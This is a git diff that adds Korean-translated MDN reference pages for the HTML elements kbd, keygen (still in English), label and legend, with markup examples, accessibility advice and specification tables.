+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>모두</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="https://developer.mozilla.org/en-US/docs/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<p><code>&lt;kbd&gt;</code> 요소를 다른 요소와 조합해 더 상세한 상황을 표현할 수 있습니다.</p>
+
+<ul>
+ <li><code>&lt;kbd&gt;</code> 요소를 다른 <code>&lt;kbd&gt;</code> 요소 안에 배치해, 하나의 입력 안의 작은 부분이나, 실제 타이핑 키를 하나씩 나타낼 수 있습니다. 아래의 {{anch("입력 안의 키입력 나타내기")}} 예제를 참고하세요.</li>
+ <li><code>&lt;kbd&gt;</code> 요소를 {{htmlelement("samp")}} 요소 안에 배치하면 시스템이 에코로써 다시 출력한 사용자 입력을 나타낼 수 있습니다. 아래의 {{anch("재출력된 입력")}} 예제를 참고하세요.</li>
+ <li>반면, <code>&lt;samp&gt;</code> 요소를 <code>&lt;kbd&gt;</code> 요소 안에 배치하면 화면에 표시된 메뉴 이름, 메뉴 항목, 버튼 이름 등 시스템이 출력한 텍스트를 기반으로 한 입력을 나타낼 수 있습니다. 아래의 {{anch("화면에 표시된 입력 옵션 나타내기")}} 예제를 참고하세요.</li>
+</ul>
+
+<div class="blockIndicator note">
+<p>사용자 지정 CSS 파일을 정의해 <code>&lt;kbd&gt;</code> 요소의 브라우저 기본 글꼴을 바꿀 수 있지만, 사용자 설정이 더 우선할 수도 있습니다.</p>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="기본_예제">기본 예제</h3>
+
+<pre class="brush: html">&lt;p&gt;&lt;kbd&gt;help mycommand&lt;/kbd&gt; 명령어를 입력해 "mycommand" 명령에 대한 문서를 확인하세요.&lt;/p&gt;</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample("기본_예제", 350, 80)}}</p>
+
+<h3 id="입력_안의_키입력_나타내기">입력 안의 키입력 나타내기</h3>
+
+<p>다수의 키입력으로 구성된 입력을 설명할 땐 여러 개의 <code>&lt;kbd&gt;</code> 요소를 중첩할 수 있습니다. 바깥 <code>&lt;kbd&gt;</code>는 전체 입력을, 각각의 키입력 또는 구성요소는 안쪽의 <code>&lt;kbd&gt;</code>로 나타냅니다.</p>
+
+<h4 id="스타일_없이">스타일 없이</h4>
+
+<p>우선 기본 HTML에서 어떻게 나타나나 확인해보겠습니다.</p>
+
+<h5 id="HTML">HTML</h5>
+
+<pre class="brush: html">&lt;p&gt;새로운 문서는 키보드 단축키
+&lt;kbd&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;N&lt;/kbd&gt;&lt;/kbd&gt;으로 만들 수 있습니다.&lt;/p&gt;
+</pre>
+
+<p>단축키 조합 전체를 하나의 <code>&lt;kbd&gt;</code>로 감싼 후, 조합 구성요소를 나타내기 위해 각각의 키보드 키를 다른 <code>&lt;kbd&gt;</code>로 감싼 모습입니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> 꼭 이렇게 중첩할 필요는 없습니다. 바깥 <code>&lt;kbd&gt;</code>를 생략하고, <code>&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;N&lt;/kbd&gt;</code>로 작성하더라도 완벽하게 유효한 표기법입니다.</p>
+
+<p>다만 현재 사용 중인 스타일에 따라 중첩이 유용할 때도 있습니다.</p>
+</div>
+
+<h5 id="결과_2">결과</h5>
+
+<p>스타일 시트 없는 출력은 다음과 같습니다.</p>
+
+<p>{{EmbedLiveSample("스타일_없이", 650, 80)}}</p>
+
+<h4 id="스타일_적용">스타일 적용</h4>
+
+<p>CSS를 좀 더해서 명확하게 바꿀 수 있습니다.</p>
+
+<h5 id="CSS">CSS</h5>
+
+<p>키보드 버튼을 렌더링 할 때 사용할 수 있는, <code>&lt;kbd&gt;</code> 요소의 <code>"key"</code> 스타일을 추가합니다.</p>
+
+<pre class="brush: css">kbd.key {
+ border-radius: 3px;
+ padding: 1px 2px 0;
+ border: 1px solid black;
+}
+</pre>
+
+<h5 id="HTML_2">HTML</h5>
+
+<p>HTML을 업데이트해 앞선 스타일을 적용합니다.</p>
+
+<pre class="brush: html">&lt;p&gt;새로운 문서는 키보드 단축키
+&lt;kbd&gt;&lt;kbd class="key"&gt;Ctrl&lt;/kbd&gt;+&lt;kbd class="key"&gt;N&lt;/kbd&gt;&lt;/kbd&gt;으로 만들 수 있습니다.&lt;/p&gt;
+</pre>
+
+<h5 id="결과_3">결과</h5>
+
+<p>원하던 바로 그 결과입니다!</p>
+
+<p>{{EmbedLiveSample("스타일_적용", 650, 80)}}</p>
+
+<h3 id="재출력된_입력">재출력된 입력</h3>
+
+<p><code>&lt;kbd&gt;</code> 요소를 {{htmlelement("samp")}} 요소 안에 배치하면 시스템이 다시 출력한 입력을 나타낼 수 있습니다.</p>
+
+<pre class="brush: html">&lt;p&gt;구문 오류가 발생하면, 오류 원인을 찾을 수 있도록
+입력받은 명령을 다시 출력합니다.&lt;/p&gt;
+&lt;blockquote&gt;
+ &lt;samp&gt;&lt;kbd&gt;custom-git ad my-new-file.cpp&lt;/kbd&gt;&lt;/samp&gt;
+&lt;/blockquote&gt;
+</pre>
+
+<p>결과는 다음과 같습니다.</p>
+
+<p>{{EmbedLiveSample("재출력된_입력", 650, 120)}}</p>
+
+<h3 id="화면에_표시된_입력_옵션_나타내기">화면에 표시된 입력 옵션 나타내기</h3>
+
+<p>{{htmlelement("samp")}} 요소를 <code>&lt;kbd&gt;</code> 요소 안에 배치하면 시스템이 화면에 표시하는 입력 선택지(메뉴, 버튼...)에 기반한 사용자 입력을 나타냅니다.</p>
+
+<p>예를 들면, "파일" 메뉴의 "새 문서" 옵션을 선택하는 방법에 대해 설명하는 HTML은 다음과 같은 형태를 가집니다.</p>
+
+<pre class="brush: html">&lt;p&gt;새로운 파일을 생성하려면, &lt;kbd&gt;
+&lt;kbd&gt;&lt;samp&gt;파일&lt;/samp&gt;&lt;/kbd&gt;⇒&lt;kbd&gt;&lt;samp&gt;새 문서&lt;/samp&gt;&lt;/kbd&gt;
+&lt;/kbd&gt; 메뉴를 선택하세요.
+
+&lt;p&gt;파일의 이름을 입력한 후, &lt;kbd&gt;&lt;samp&gt;확인&lt;/samp&gt;&lt;/kbd&gt;을
+누르는 걸 잊지 마세요.&lt;/p&gt;
+</pre>
+
+<p>흥미로운 중첩 사용법을 볼 수 있습니다. 메뉴 옵션 설명을 보면, 전체 입력 시퀀스가 하나의 <code>&lt;kbd&gt;</code> 요소에 들어간 것을 볼 수 있으며, 메뉴 이름("파일")과 메뉴 항목("새 문서") 둘 다 각자의 <code>&lt;kbd&gt;</code>와 <code>&lt;samp&gt;</code>로 표시한 것을 볼 수 있습니다. <code>&lt;kbd&gt;</code> 안에 <code>&lt;samp&gt;</code>가 존재하므로, "파일"과 "새 문서"는 화면 위의 위젯을 사용한 입력임을 알 수 있습니다.</p>
+
+<h4 id="결과_4">결과</h4>
+
+<p>{{EmbedLiveSample("화면에_표시된_입력_옵션_나타내기", 650, 120)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'semantics.html#the-kbd-element', '&lt;kbd&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'textlevel-semantics.html#the-kbd-element', '&lt;kbd&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Expanded to include any user input, like voice input and individual keystrokes.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'struct/text.html#h-9.2.1', '&lt;kbd&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.kbd")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{htmlelement("code")}}</li>
+</ul>
diff --git a/files/ko/web/html/element/keygen/index.html b/files/ko/web/html/element/keygen/index.html
new file mode 100644
index 0000000000..45910b8a24
--- /dev/null
+++ b/files/ko/web/html/element/keygen/index.html
@@ -0,0 +1,122 @@
+---
+title: <keygen>
+slug: Web/HTML/Element/keygen
+tags:
+ - Deprecated
+ - Element
+ - HTML
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/keygen
+---
+<p>{{HTMLRef}}{{Obsolete_Header}}</p>
+
+<p>The HTML <code>&lt;keygen&gt;</code> element exists to facilitate generation of key material, and submission of the public key as part of an <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML form</a>. This mechanism is designed for use with Web-based certificate management systems. It is expected that the <code>&lt;keygen&gt;</code> element will be used in an HTML form along with other information needed to construct a certificate request, and that the result of the process will be a signed certificate.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/en-US/docs/Web/HTML/Content_categories">Content categories</a></th>
+ <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Flow content</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">phrasing content</a>, interactive content, <a href="/en-US/docs/Web/HTML/Content_categories#Form_listed">listed</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Form_labelable">labelable</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Form_submittable">submittable</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Form_resettable">resettable</a> <a href="/en-US/docs/Web/HTML/Content_categories#Form-associated_content">form-associated element</a>, palpable content.</td>
+ </tr>
+ <tr>
+ <th scope="row">Permitted content</th>
+ <td>None, it is an {{Glossary("empty element")}}.</td>
+ </tr>
+ <tr>
+ <th scope="row">Tag omission</th>
+ <td>Must have a start tag and must not have an end tag.</td>
+ </tr>
+ <tr>
+ <th scope="row">Permitted parents</th>
+ <td>Any element that accepts <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">phrasing content</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">Permitted ARIA roles</th>
+ <td>None</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM interface</th>
+ <td>{{DOMxRef("HTMLKeygenElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Attributes">Attributes</h2>
+
+<p>This element includes the <a href="/en-US/docs/Web/HTML/Global_attributes">global attributes</a>.</p>
+
+<dl>
+ <dt>{{HTMLAttrDef("autofocus")}}</dt>
+ <dd>This Boolean attribute lets you specify that the control should have input focus when the page loads, unless the user overrides it, for example by typing in a different control. Only one form element in a document can have the <code>autofocus</code> attribute, which is a Boolean.</dd>
+ <dt>{{HTMLAttrDef("challenge")}}</dt>
+ <dd>A challenge string that is submitted along with the public key. Defaults to an empty string if not specified.</dd>
+ <dt>{{HTMLAttrDef("disabled")}}</dt>
+ <dd>This Boolean attribute indicates that the form control is not available for interaction.</dd>
+ <dt>{{HTMLAttrDef("form")}}</dt>
+ <dd>The form element that this element is associated with (its <em>form owner</em>). The value of the attribute must be an <code>id</code> of a {{HTMLElement("form")}} element in the same document. If this attribute is not specified, this element must be a descendant of a {{HTMLElement("form")}} element. This attribute enables you to place <code>&lt;keygen&gt; </code>elements anywhere within a document, not just as descendants of their form elements.</dd>
+ <dt>{{HTMLAttrDef("keytype")}}</dt>
+ <dd>The type of key generated. The default value is <code>RSA</code>.</dd>
+ <dt>{{HTMLAttrDef("name")}}</dt>
+ <dd>The name of the control, which is submitted with the form data.</dd>
+</dl>
+
+<p>The element is written as follows:</p>
+
+<pre class="brush: html">&lt;keygen name="<var>name</var>" challenge="<var>challenge string</var>" keytype="<var>type</var>"
+ keyparams="<var>pqg-params</var>"&gt;</pre>
+
+<p>The <code>keytype</code> parameter is used to specify what type of key is to be generated. Valid values are "<code>RSA</code>", which is the default, "<code>DSA</code>" and "<code>EC</code>". The <code>name</code> and <code>challenge</code> attributes are required in all cases. The <code>keytype</code> attribute is optional for RSA key generation and required for DSA and EC key generation. The <code>keyparams</code> attribute is required for DSA and EC key generation and ignored for RSA key generation. <code>PQG</code> is a synonym for <code>keyparams</code>. That is, you may specify <code>keyparams="pqg-params"</code> or <code>pqg="pqg-params"</code>.</p>
+
+<p>For RSA keys, the <code>keyparams</code> parameter is not used (ignored if present). The user may be given a choice of RSA key strengths. Currently, the user is given a choice between "high" strength (2048 bits) and "medium" strength (1024 bits).</p>
+
+<p>For DSA keys, the <code>keyparams</code> parameter specifies the DSA PQG parameters which are to be used in the keygen process. The value of the <code>pqg</code> parameter is the the BASE64 encoded, DER encoded Dss-Parms as specified in IETF <a class="link-ftp" href="ftp://ftp.rfc-editor.org/in-notes/rfc3279.txt">RFC 3279</a>. The user may be given a choice of DSA key sizes, allowing the user to choose one of the sizes defined in the DSA standard.</p>
+
+<p>For EC keys, the <code>keyparams</code> parameter specifies the name of the elliptic curve on which the key will be generated. It is normally a string from the table in <a class="external" href="http://mxr.mozilla.org/mozilla-central/source/security/manager/ssl/src/nsKeygenHandler.cpp?mark=179-185,187-206,208-227,229-256#177" title="http://mxr.mozilla.org/mozilla-central/source/security/manager/ssl/src/nsKeygenHandler.cpp?mark=179-185,187-206,208-227,229-256#177">nsKeygenHandler.cpp</a>. (Note that only a subset of the curves named there may actually be supported in any particular browser.) If the <code>keyparams</code> parameter string is not a recognized curve name string, then a curve is chosen according to the user's chosen key strength (low, medium, high), using the curve named "<code>secp384r1</code>" for high, and the curve named "<code>secp256r1</code>" for medium keys. (Note: choice of the number of key strengths, default values for each strength, and the UI by which the user is offered a choice, are outside of the scope of this specification.)</p>
+
+<p>The <code>&lt;keygen&gt;</code> element is only valid within an HTML form. It will cause some sort of selection to be presented to the user for selecting key size. The UI for the selection may be a menu, radio buttons, or possibly something else. The browser presents several possible key strengths. Currently, two strengths are offered, high and medium. If the user's browser is configured to support cryptographic hardware (e.g. "smart cards") the user may also be given a choice of where to generate the key, i.e., in a smart card or in software and stored on disk.</p>
+
+<p>When the submit button is pressed, a key pair of the selected size is generated. The private key is encrypted and stored in the local key database.</p>
+
+<pre>PublicKeyAndChallenge ::= SEQUENCE {
+ spki SubjectPublicKeyInfo,
+ challenge IA5STRING
+}
+SignedPublicKeyAndChallenge ::= SEQUENCE {
+ publicKeyAndChallenge PublicKeyAndChallenge,
+ signatureAlgorithm AlgorithmIdentifier,
+ signature BIT STRING
+}</pre>
+
+<p>The public key and challenge string are DER encoded as <code>PublicKeyAndChallenge</code>, and then digitally signed with the private key to produce a <code>SignedPublicKeyAndChallenge</code>. The <code>SignedPublicKeyAndChallenge</code> is {{Glossary("Base64")}} encoded, and the ASCII data is finally submitted to the server as the value of a form name/value pair, where the name is <var>name</var> as specified by the <code>name</code> attribute of the <code>keygen</code> element. If no challenge string is provided, then it will be encoded as an <code>IA5STRING</code> of length zero.</p>
+
+<p>Here is an example form submission as it would be delivered to a CGI program by the HTTP server:</p>
+
+<pre> commonname=John+Doe&amp;email=doe@foo.com&amp;org=Foobar+Computing+Corp.&amp;
+ orgunit=Bureau+of+Bureaucracy&amp;locality=Anytown&amp;state=California&amp;country=US&amp;
+ key=MIHFMHEwXDANBgkqhkiG9w0BAQEFAANLADBIAkEAnX0TILJrOMUue%2BPtwBRE6XfV%0AWtKQbsshxk5ZhcUwcwyvcnIq9b82QhJdoACdD34rqfCAIND46fXKQUnb0mvKzQID%0AAQABFhFNb3ppbGxhSXNNeUZyaWVuZDANBgkqhkiG9w0BAQQFAANBAAKv2Eex2n%2FS%0Ar%2F7iJNroWlSzSMtTiQTEB%2BADWHGj9u1xrUrOilq%2Fo2cuQxIfZcNZkYAkWP4DubqW%0Ai0%2F%2FrgBvmco%3D</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("HTML5 W3C", "forms.html#the-keygen-element", 'the <code>&lt;keygen&gt;</code> element')}}</td>
+ <td>{{Spec2("HTML5 W3C")}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("html.elements.keygen")}}</p>
diff --git a/files/ko/web/html/element/label/index.html b/files/ko/web/html/element/label/index.html
new file mode 100644
index 0000000000..2d99a140c5
--- /dev/null
+++ b/files/ko/web/html/element/label/index.html
@@ -0,0 +1,189 @@
+---
+title: <label>
+slug: Web/HTML/Element/label
+tags:
+ - Element
+ - HTML
+ - HTML forms
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/label
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;label&gt;</code> 요소</strong>는 사용자 인터페이스 항목의 설명을 나타냅니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/label.html", "tabbed-shorter")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</div>
+
+<p><code>&lt;label&gt;</code> 을 {{htmlelement("input")}} 요소와 연결하면 몇 가지 이점이 있습니다:</p>
+
+<ul>
+ <li>label 텍스트는 텍스트 입력과 시각적으로 관련이 있을뿐만 아니라 프로그래밍적으로도 관련이 있습니다. 예를 들어, 화면리더기(screenreader) 는 폼 입력(form input)에서 label 을 읽어서 보조기술(assistive technology) 사용자가 입력해야하는 텍스트가 무엇인지 더 쉽게 이해할 수 있게 합니다. </li>
+ <li>관련 label 을 클릭해서 input  자체에 초점을 맞추거나 활성화를 시킬 수 있습니다. (활성되어서)늘어난 누를 수 있는 영역(hit area)은 터치스크린 사용자를 포함해 입력하려하는 모든 사람에게 이점을 줍니다.</li>
+</ul>
+
+<p><code>&lt;label&gt;</code> 을 <code>&lt;input&gt;</code> 요소와 연관시키려면, <code>&lt;input&gt;</code> 에 <code>id</code> 속성을 넣어야합니다. 그런 다음 <code>&lt;label&gt;</code> 에 <code>id</code> 와 같은 값의  <code>for</code> 속성을 넣어야합니다. </p>
+
+<p>또는, <code>&lt;label&gt;</code> 안에 <code>&lt;input&gt;</code> 을 중첩시킬 수 있습니다. 이 경우 연관이 암시적이므로 <code>for</code> 및 <code>id</code>속성이 필요없습니다.</p>
+
+<pre class="brush: html">&lt;label&gt;Do you like peas?
+ &lt;input type="checkbox" name="peas"&gt;
+&lt;/label&gt;
+</pre>
+
+<p>다른 사용법 메모:</p>
+
+<ul>
+ <li>label 이 붙여진 양식 컨트롤(form control) 은 <em>레이블된 제어 labeled control</em>  라고 불립니다. 하나의 input 은 여러 label들에 연관되어있습니다.</li>
+ <li>연관된 양식 컨트롤(form control) 이 있는 <code>&lt;label&gt;</code> 이 클릭되거나 터치되면, 이 label의 <code>click</code> 이벤트는 연관된 control 도 동작시킵니다.</li>
+</ul>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("for")}}</dt>
+ <dd>같은 문서 내의 <code>&lt;label&gt;</code> 요소로서, <a href="/ko/docs/Web/Guide/HTML/Content_categories#레이블_가능">레이블 가능</a>한 form-related 요소의 {{htmlattrxref("id")}}. 레이블 가능한 요소일 때, <code>for</code> 속성값과 일치하는 <code>id</code>를 가진 문서의 첫 번째 요소는 그 label 요소의 <em>라벨 제어(labeled control)</em>라고 합니다. label을 지정할 수 없으면 <code>for</code> 속성은 영향을 미치지 않습니다. 문서의 뒷부분에 <code>id</code> 값과 일치하는 다른 요소들은 무시합니다.
+ <div class="note"> <code>&lt;label&gt;</code> 요소는 <code>for</code> 속성과 제어control 요소를 동시에 가질 수 있습니다. 이 때 <code>for</code> 속성은 포함되어있는 제어control 요소를 가리키고 있어야 합니다.</div>
+ </dd>
+ <dt>{{htmlattrdef("form")}}</dt>
+ <dd>label과 연관된 {{htmlelement ( "form")}} 요소(<em>양식 소유자 form owner</em>). 이 속성이 지정된 경우, 이 속성 값은 동일한 문서의 {{HTMLElement ( "form")}} 요소의 id입니다. 따라서 label 요소를 양식 요소의 자손이 아닌 문서의 어느 곳에나 배치 할 수 있습니다.</dd>
+</dl>
+
+<h2 id="CSS_스타일링">CSS 스타일링</h2>
+
+<p><code>&lt;label&gt;</code> 요소에 대한 특별한 스타일 고려 사항은 없습니다. 구조적으로 단순한 인라인 요소이므로 {{htmlelement ( "span")}} 또는 {{htmlelement ( "a")}} 요소와 같은 방식으로 스타일을 지정할 수 있습니다 }}. 텍스트를 읽기 어렵게하지 않는 한 원하는 방식으로 스타일을 적용 할 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="간단한_label_예제">간단한 label 예제</h3>
+
+<pre class="brush: html">&lt;label&gt;Click me &lt;input type="text"&gt;&lt;/label&gt;</pre>
+
+<p>{{EmbedLiveSample('Simple_label_example', '200', '50', '')}}</p>
+
+<h3 id="for_속성_예제">"for" 속성 예제</h3>
+
+<pre class="brush: html">&lt;label for="username"&gt;Click me&lt;/label&gt;
+&lt;input type="text" id="username"&gt;</pre>
+
+<p>{{EmbedLiveSample('Using_the_for_attribute', '200', '50', '')}}</p>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<h3 id="인터랙티브_콘텐츠">인터랙티브 콘텐츠</h3>
+
+<p>Don't place interactive elements such as {{HTMLElement("a", "anchors")}} or {{HTMLElement("button", "buttons")}} inside a <code>label</code>. Doing so makes it difficult for people to activate the form input associated with the <code>label</code>.</p>
+
+<p><code>label</code> 안에 {{HTMLElement ( "a", "anchors")}} 또는 {{HTMLElement ( "button", "buttons")}}와 같은 인터랙티브 요소를 배치하지 마십시오. 그렇게하면 사람들이 <code>label</code>과 관련된 양식을 입력하기 어렵습니다.</p>
+
+<h4 id="하지_마세요">하지 마세요</h4>
+
+<pre class="brush: html example-bad">&lt;label for="tac"&gt;
+ &lt;input id="tac" type="checkbox" name="terms-and-conditions"&gt;
+ I agree to the &lt;a href="terms-and-conditions.html"&gt;Terms and Conditions&lt;/a&gt;
+&lt;/label&gt;
+</pre>
+
+<h4 id="이렇게_하세요">이렇게 하세요</h4>
+
+<pre class="brush: html example-good">&lt;label for="tac"&gt;
+ &lt;input id="tac" type="checkbox" name="terms-and-conditions"&gt;
+ I agree to the Terms and Conditions
+&lt;/label&gt;
+&lt;p&gt;
+ &lt;a href="terms-and-conditions.html"&gt;Read our Terms and Conditions&lt;/a&gt;
+&lt;/p&gt;
+</pre>
+
+<h3 id="제목">제목</h3>
+
+<p>제목은 일반적으로 <a href="/en-US/docs/Web/HTML/Element/Heading_Elements#Navigation">탐색 목적</a>의 보조 도구로 사용되므로 <code>&lt;label&gt;</code>  내에 <a href="/en-US/docs/Web/HTML/Element/Heading_Elements">제목 요소</a>를 배치하면 많은 종류의 보조 기술을 방해합니다. label의 텍스트를 시각적으로 조정해야하는 경우,  <code>&lt;label&gt;</code> 요소에 적용된 CSS 클래스를 사용하십시오.</p>
+
+<p><a href="/en-US/docs/Web/HTML/Element/form">양식(form)</a> 또는 양식의 섹션에 제목이 필요한 경우 {{HTMLElement ( "fieldset")}} 내에 배치 된 {{HTMLElement ( "legend")}} 요소를 사용하십시오.</p>
+
+<h4 id="하지_마세요_2">하지 마세요</h4>
+
+<pre class="brush: html example-bad">&lt;label for="your-name"&gt;
+ &lt;h3&gt;Your name&lt;/h3&gt;
+ &lt;input id="your-name" name="your-name" type="text"&gt;
+&lt;/label&gt;
+</pre>
+
+<h4 id="이렇게_하세요_2">이렇게 하세요</h4>
+
+<pre class="brush: html example-good">&lt;label class="large-label" for="your-name"&gt;
+ Your name
+ &lt;input id="your-name" name="your-name" type="text"&gt;
+&lt;/label&gt; </pre>
+
+<h3 id="버튼">버튼</h3>
+
+<p><code>type="button"</code>선언과 유효한 <code>value</code> 속성을 가진 {{HTMLElement ( "input")}} 요소에는 연관된 레이블이 필요하지 않습니다. 그렇게하면 보조 기술이 버튼 입력을 구문 분석하는 방법을 실제로 방해 할 수 있습니다. {{HTMLElement ( "button")}} 요소에도 동일하게 적용됩니다.</p>
+
+<h2 id="기술_요약">기술 요약</h2>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#대화형_콘텐츠">대화형 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#양식_관련_콘텐츠">양식 관련 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>. 단, 다른 <code>&lt;label&gt;</code> 요소는 자손으로 올 수 없습니다. 레이블을 지정한 컨트롤 외의 다른 <a href="/ko/docs/Web/Guide/HTML/Content_categories#레이블_가능">레이블 가능</a> 요소는 자손으로 사용할 수 없습니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>없음</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLLabelElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">주석</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'forms.html#the-label-element', '&lt;label&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'forms.html#the-label-element', '&lt;label&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'interact/forms.html#h-17.9.1', '&lt;label&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td>최초 정의</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("html.elements.label")}}</p>
diff --git a/files/ko/web/html/element/legend/index.html b/files/ko/web/html/element/legend/index.html
new file mode 100644
index 0000000000..522f96e610
--- /dev/null
+++ b/files/ko/web/html/element/legend/index.html
@@ -0,0 +1,91 @@
+---
+title: <legend>
+slug: Web/HTML/Element/legend
+tags:
+ - Element
+ - Forms
+ - HTML
+ - HTML forms
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/legend
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;legend&gt;</code> 요소</strong>는 부모 {{HTMLElement("fieldset")}} 콘텐츠의 설명을 나타냅니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/legend.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td>없음.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td>{{htmlelement("fieldset")}} 요소. <code>&lt;legend&gt;</code>가 첫 번째 자식이어야 합니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>없음</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLLegendElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a>만<span style="line-height: 21px;"> 포함합니다.</span></p>
+
